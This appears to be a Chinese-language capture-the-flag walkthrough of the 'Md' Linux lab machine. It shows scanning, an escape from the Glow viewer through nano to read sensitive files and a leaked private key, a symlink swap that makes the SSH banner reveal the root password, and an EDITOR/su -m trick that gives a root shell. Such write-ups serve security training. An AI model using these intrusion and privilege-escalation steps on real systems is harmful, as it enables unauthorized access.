

| Md_daochunhan

| Md

| 靶机信息

- 靶机名称: Md
- 靶机作者: 群主
- 靶机类型: Linux
- 来源: MazeSec / QQ公开群 321948805
- 官网: <https://maze-sec.com/>

| user

目标:

```
192.168.56.103
```

端口扫描:

```
nmap 192.168.56.103
```

```
(daochunhan@kali)~[~]  
$ nmap 192.168.56.103  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-14 15:25 -0400  
Nmap scan report for 192.168.56.103  
Host is up (0.022s latency).  
Not shown: 662 filtered tcp ports (no-response), 336 closed tcp ports (reset)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
80/tcp    open  http  
  
Nmap done: 1 IP address (1 host up) scanned in 14.20 seconds
```

发现开放了 22 和 80 端口:

```
22/tcp open  ssh  
80/tcp open  http
```

访问 80 端口后发现是一个 Dino Game 页面, 没有找到可以直接利用的点, 尝试连接 SSH, 发现 Banner 中直接给出了登录信息:

```
(daochunhan@kali)-[~]
$ ssh 192.168.56.103
=====Md=====
username: cat
password: cat
12138
=====Md=====
daochunhan@192.168.56.103's password: █
```

```
username: cat
password: cat
```

Banner 给出账号密码后，使用 `cat/cat` 登录：

```
ssh cat@192.168.56.103 # cat
```

登录之后进入了一个名为 Glow 的终端 Markdown 查看器，按 `?` 查看帮助后发现界面上没有明显的利用点：

Glow

3 documents

LaHai-Roi_104567.Md
02 Aug 2026 04:14 EDT

Network_11104567.Md
02 Aug 2026 04:14 EDT

XSLib-11104567.Md
02 Aug 2026 04:14 EDT

enter	open	/	find	r	refresh
j/k ↑/↓	choose			q	quit
				?	close help

查阅 [Glow](#) 官方文档后发现，有一些快捷键没有显示在界面上，其中 `e` 可以呼出外部编辑器 `nano`。

而 Nano 编辑器的 `Ctrl+R` 可以读取文件，因此可以读取 `cat` 用户有权限读取的文件，先查看 `/etc/passwd`：

```
GNU nano 8.4 /opt/LaHai-Roi_104567.Md *
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
systemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin
sshd:x:989:65534:sshd user:/run/ssh:/usr/sbin/nologin
ftasy:x:1000:1000:,,,:/home/ftasy:/bin/bash
cat:x:1001:1001:,,,:/home/cat:/opt/a.sh
ll:$1$RkFR3bF4$wusUPotchWKwj0kNEMtFF/:0:0:xxoo,,,:/root:/bin/bash
# LaHai-Roi 靶机 Writeup

> **Author:** 104567
> **OS:** Debian Linux
> **Difficulty:** Medium-Hard

---

## 第一阶段：Web 渗透 → 二进制利用 → 环境重置

[ Read 26 lines ]
^G Help      ^O Write Out  ^F Where Is   ^K Cut        ^T Execute    ^C Location   M-U Undo
^X Exit      ^R Read File  ^N Replace    ^U Paste      ^J Justify    ^_ Go To Line  M-E Redo
```

注意到 **cat** 用户的登录 Shell 是 **/opt/a.sh**，读取一下这个文件，方法同上，按 **Ctrl+R** 后输入文件路径回车：

```
GNU nano 8.4 /opt/LaHai-Roi_104567.Md *
#uSV1mvFXUGXDf0IaPyMzWEA/NrbExxmzJmS2Iispuaxl+z/Son/FHtekFBAQewMSeL0Wb
#M4yP2MFmTid3BSNd/8AJGBHCLYsG3j+hj8cR9nUcZex3xi/sLf18MBCK1HDmeHzmCZ2a+H
#BPbRQA5SSXZLVnfYDfHsnBdHx9dSDU4HSieck0LM2XYEiV0+YpAzj2TErYkKFfFaF8EZAaaa
#wDiUNR7d3DJP+ExN/rYj+kN+ila2k0xDz8LM0I4i8hnB5EvxW082wX6ZqbbwSF+KDZp6d8
#zCPTLQPG0ySL7ikVotsAPKNlQsHfqxdIp+EitdKlTrRzDTNU2fTsjaW/A/4rLnfvBa6v5M
#mDiFFW8diY6cXh47ms1yDi0GQktpp6qoIRKRUGM/XZ0lhbUmrCZxwJTdvF4HwMcN1dgWZv
#21aw/Xwzjf1bFkhcaW4BCNeDquB/wIisnTHm+pvTqcbCZtFgAAAMEA9qsF2CjQcxBNKzU+
#Rwy9Kb4Gp6Aou7ihze++P0wUtpi f0zm7zLEeYFgFOUZy6xpQ0oy3GiSoEx3yRN6qVXqj8b
#Uu7fE5DTWTtPbURS9BDMpEc/HpFSLZwLinWd162Id0pRgAp8ngvav0ekj9aqncUgpCpepw
#LFAQBVLw0nHj/3v/MR4IUuCejpDTbscrsWGGZBW1+lUh8aohfVsAezuti3fY8QjE6Dc/C
#V6iLqbD5aytVkfCAzZJFMNlq+2BQFZAAAaWQDnlsIQ3adPotYTEIU5LuxRYCZSyF9M2aPg
#Ri5S0kyzGrngSadCn4z3b90UHqogrgbVr9h/L7ViqhK7JU4uZoEZEeMB7vB50F0Ea15Vxe
#qLrVeXi839aCl10lakVZZZrve08CcUpZaX8UFpnScLkag8br1SBMfd09vvXsFRR6MMhpE+
#AhmkYyUgd1baa10pyIj7x+zz95o13Gx6QfhRyG4FfLT0x0HdL6TM+5HooY1l19sXniBQEA
#qGaAvQDfi4c2sAAAAIZnRhC3lATWQBAGM=
#-----END OPENSSH PRIVATE KEY-----
exec /usr/bin/glow /opt
# LaHai-Roi 靶机 Writeup

> **Author:** 104567
> **OS:** Debian Linux
> **Difficulty:** Medium-Hard

---

## 第一阶段：Web 渗透 → 二进制利用 → 环境重置

### 1.1 端口扫描

```bash
nmap -sS -p- --min-rate=1000 -T4 192.168.3.136
```

^G Help      ^O Write Out  ^F Where Is   ^K Cut        ^T Execute    ^C Location   M-U Undo   M-A Set Mark
^X Exit      ^R Read File  ^N Replace    ^U Paste      ^J Justify    ^_ Go To Line  M-E Redo   M-6 Copy
```

注释给了 OpenSSH 私钥，最后一行是：

```
exec /usr/bin/glow /opt
```

复制保存 `/opt/a.sh` :

```
nano Md.sh  
# /opt/a.sh 文本
```

截取私钥区间并去掉每行开头的 `#` , 生成真正的私钥文件:

```
sed -n '/^#-----BEGIN OPENSSH PRIVATE KEY-----$/ , /^#-----END OPENSSH PRIVATE KEY-----$/p' Md.sh | sed 's/^#//' > Md.key  
chmod 600 Md.key  
ssh-keygen -y -f Md.key
```

```
(daochunhan@kali)-[~]  
$ chmod 600 Md.key  
  
(daochunhan@kali)-[~]  
$ ssh-keygen -y -f Md.key  
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQgQDfJZV5VC0Iv730EA1uzEBp6RaiKPJjVwzmWSgI61oEj2aSsx3okdFnaxv3iMf5  
oJ7F1K4ibV23LoxXQZjnYkXAE1+HcBT07i+r7/PS0d9ltDFiMLvYVgV9SSFENNzQ1XiXphG9kujgzzU0+lx3m5ehU2EMR4Dp7wMR  
pmZci1pCIYD+PTNiApBzAenBnh8UN2PK27G9uTkhW6qtKUPiEOx/0V7cKbnYraufQxgiEFc0dQ2qrKEp199dcgcRU7RYLVqZ16sU  
cVRWzPQBbSyFdkmg/7efAreiqxEBSgteQR7oVeS+mFVIa9FmbJZbG84LXAzKAHwRPUk87nc0cxVpAmU4jRc02U9DLBuGf/IvzJIT  
gkNYwwR6HEKLhJm4TkwtRwajphyh1uCQmteiA2FiSwK93SnEYCriEbvUCILGyAgWLRxnvTigmskzIYTgMbTqUBDVxdu+gXdMKSp1  
3LeU/tj26igioXPeTKeH+VeDneDI81GswyJZVWNl3ir4oY0qizM= ftasy@Md
```

确认私钥对应的用户, 使用私钥登录 `ftasy` :

```
ssh -i Md.key ftasy@192.168.56.103  
id  
ls  
cat rootpass.txt
```

```

(daochunhan@kali)-[~]
$ ssh -i Md.key ftasy@192.168.56.103
=====Md=====
username: cat
password: cat
12138
=====Md=====
Linux Md 7.1.5-2-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.1-7.1~trixie (2026-07-31) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 14 14:37:17 2026 from 192.168.56.1
ftasy@Md:~$ id
uid=1000(ftasy) gid=1000(ftasy) groups=1000(ftasy),100(users)
ftasy@Md:~$ ls
rootpass.txt
ftasy@Md:~$ cat rootpass.txt
cat: rootpass.txt: Permission denied
ftasy@Md:~$

```

`rootpass.txt` 不可读，继续查看 Web 目录。`/var/www/html/index.html` 是 Dino Game，而 `/var/www/html/ftasy/banner` 是 SSH 登录时显示的 Banner 文件：

```

ftasy@Md:/var/www/html$ ls
ftasy index.html
ftasy@Md:/var/www/html$ cd ftasy
ftasy@Md:/var/www/html/ftasy$ ls
banner
ftasy@Md:/var/www/html/ftasy$ cat banner
=====Md=====
username: cat
password: cat
12138
=====Md=====
ftasy@Md:/var/www/html/ftasy$

```

```

ls -l /home/ftasy/rootpass.txt
ls -ld /var/www/html/ftasy
ls -l /var/www/html/ftasy/banner

```

```

ftasy@Md:/var/www/html/ftasy$ ls -l /home/ftasy/rootpass.txt
-r----- 1 root root 21 Aug  2 07:41 /home/ftasy/rootpass.txt
ftasy@Md:/var/www/html/ftasy$ ls -ld /var/www/html/ftasy
drwxr-xr-x 2 ftasy ftasy 4096 Aug 14 15:09 /var/www/html/ftasy
ftasy@Md:/var/www/html/ftasy$ ls -l /var/www/html/ftasy/banner
-rw-r--r-- 1 root root 65 Aug 14 11:58 /var/www/html/ftasy/banner
ftasy@Md:/var/www/html/ftasy$

```

- `/home/ftasy/rootpass.txt` 属于 root，权限为 `400`，当前用户无法直接读取；
- `/var/www/html/ftasy` 目录属于 `ftasy`，当前用户可以写入；
- SSH Banner 文件位于该可写目录中

虽然 `banner` 文件本身属于 `root`，但由于所在目录属于 `ftasy`，可以替换目录项。替换原来的 `Banner`，再创建符号链接指向 `/home/ftasy/rootpass.txt`：

```
mv "/var/www/html/ftasy/banner" "/var/www/html/ftasy/banner.bak"
ln -s /home/ftasy/rootpass.txt "/var/www/html/ftasy/banner"
ls -l /var/www/html/ftasy/banner
```

```
ftasy@Md:/var/www/html/ftasy$ mv "/var/www/html/ftasy/banner" "/var/www/html/ftasy/banner.bak"
ftasy@Md:/var/www/html/ftasy$ ln -s /home/ftasy/rootpass.txt "/var/www/html/ftasy/banner"
ftasy@Md:/var/www/html/ftasy$ ls -l /var/www/html/ftasy/banner
lrwxrwxrwx 1 ftasy ftasy 24 Aug 14 15:39 /var/www/html/ftasy/banner -> /home/ftasy/rootpass.txt
ftasy@Md:/var/www/html/ftasy$
```

重新发起一次 SSH 连接：

```
ssh cat@192.168.56.103
```

```
(daochunhan@kali)-[~]
$ ssh cat@192.168.56.103
hWeKr7iFSKxioNyDfbCP
cat@192.168.56.103's password:
```

SSH 认证之前会先显示 Banner，此时 Banner 内容已经变成了 `/home/ftasy/rootpass.txt` 的内容，从而得到 root pass

root

直接使用 root 登录：

```
ssh root@192.168.56.103 # hWeKr7iFSKxioNyDfbCP
```

Glow

0 documents

No files found.

/ find • r refresh • q quit • ? more

root 的登录 Shell 仍然是 Glow，不能直接得到 Bash。显示 `0 documents`，因为直接 SSH 登录后的当前目录为 `/root`，目录中没有 Markdown 文件。

回到 `ftasy` 用户，并在 `/var/www/html/ftasy` 目录中执行 `su -m root`，其中 `-m` 负责保留当前环境变量；由于这里不是登录模式，`su` 不会切换当前目录，因此 Glow 仍然会读取 `/var/www/html/ftasy` 下的文件。

因此可以先通过可控文件写入 `exec /bin/bash -i`，再将 `EDITOR` 设置为 `/bin/bash -i`。Glow 按 `e` 调用编辑器时，会把当前文件路径传给 Bash，Bash 读取该文件后执行其中的命令。

先在 `ftasy` 用户可写目录下创建一个 Markdown 文件：

```
nano root.md # exec /bin/bash -i
```

```
ftasy@Md:/var/www/html/ftasy$ nano root.md
ftasy@Md:/var/www/html/ftasy$ cat root.md
exec /bin/bash -i
ftasy@Md:/var/www/html/ftasy$
```

然后使用刚才从 SSH Banner 中获取的 root 密码执行：

```
cd /var/www/html/ftasy
export EDITOR='/bin/bash -i'
su -m root # hWeKr7iFSKxioNyDfbCP
# 保留环境变量，非登录模式不切换当前目录
```

随后会重新进入 Glow，并且目录中会出现刚才创建的：

```
root.md
```

```
ftasy@Md: /var/www/html/ftasy (ssh)

Glow

1 documents

root.md
1 minute ago

/ find • r refresh • q quit • ? more
```

由于当前环境变量设置为：

```
EDITOR='/bin/bash -i'
```

Glow 调用编辑器时，实际上会执行 Bash，并读取 `root.md`。文件中的命令会执行：

```
exec /bin/bash -i
```

直接按 `e` 得到 root：

```
ftasy@Md: /var/www/html/ftasy$ export EDITOR='/bin/bash -i'
ftasy@Md: /var/www/html/ftasy$ su -m root
Password:
su: using restricted shell /usr/bin/ghow
root@Md: /var/www/html/ftasy# id
uid=0(root) gid=0(root) groups=0(root)
root@Md: /var/www/html/ftasy# cat /home/cat/user.txt
flag{user-bf5637273415fa1d75877a04ec6ba45f}
root@Md: /var/www/html/ftasy# cat /root/root.txt
flag{root-97050640d4163257aff17b403af3420e}
root@Md: /var/www/html/ftasy#
```